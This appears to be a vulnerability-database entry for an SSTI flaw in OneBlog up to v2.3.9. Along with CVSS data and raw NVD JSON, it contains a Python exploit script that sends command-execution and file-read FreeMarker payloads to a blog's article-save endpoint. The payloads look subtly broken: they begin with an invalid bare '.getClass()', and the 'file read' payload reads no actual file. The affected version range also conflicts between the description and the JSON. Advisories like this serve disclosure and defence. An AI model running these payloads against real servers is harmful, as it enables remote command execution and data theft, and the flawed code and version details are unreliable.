Security Vulnerability Report
中文
CVE-2025-60355 CVSS 9.8 CRITICAL

CVE-2025-60355

Published: 2025-10-28 18:15:39
Last Modified: 2026-03-04 16:16:26

Description

zhangyd-c OneBlog v2.3.9 and before was vulnerable to SSTI (Server-Side Template Injection) via FreeMarker templates.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zhyd:oneblog:*:*:*:*:*:*:*:* - VULNERABLE
zhangyd-c OneBlog <= 2.3.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60355 FreeMarker SSTI PoC # Target: zhangyd-c OneBlog <= v2.3.9 import requests import sys TARGET_URL = "http://target.com" # Replace with actual target URL # SSTI payload to execute system command # Read /etc/passwd file read_file_payload = "${.getClass().forName('java.io.BufferedReader').newInstance().readLines()}" # Execute system command # Modify the command as needed cmd_exec_payload = "${.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}" # Basic PoC - Check if template engine is processing expressions basic_payload = "${7*7}" def test_ssti(url, payload): """Test for SSTI vulnerability""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Common injection points in blog systems # Modify the data dict based on actual application parameters data = { 'content': payload, # Blog post content 'title': payload, # Blog post title 'author': payload, # Author name } try: response = requests.post(url, data=data, headers=headers, timeout=10, verify=False) print(f"[*] Payload sent: {payload}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def main(): if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Testing CVE-2025-60355 on {target}") print("[*] Testing basic SSTI...") test_ssti(f"{target}/article/save", basic_payload) print("[*] Testing command execution...") test_ssti(f"{target}/article/save", cmd_exec_payload) print("[*] Testing file read...") test_ssti(f"{target}/article/save", read_file_payload) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60355", "sourceIdentifier": "[email protected]", "published": "2025-10-28T18:15:38.983", "lastModified": "2026-03-04T16:16:25.790", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "zhangyd-c OneBlog v2.3.9 and before was vulnerable to SSTI (Server-Side Template Injection) via FreeMarker templates."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zhyd:oneblog:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.9", "matchCriteriaId": "22D01AEE-49E1-4748-9C2B-CC748A52690F"}]}]}], "references": [{"url": "https://github.com/line2222/vuln/issues/4", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}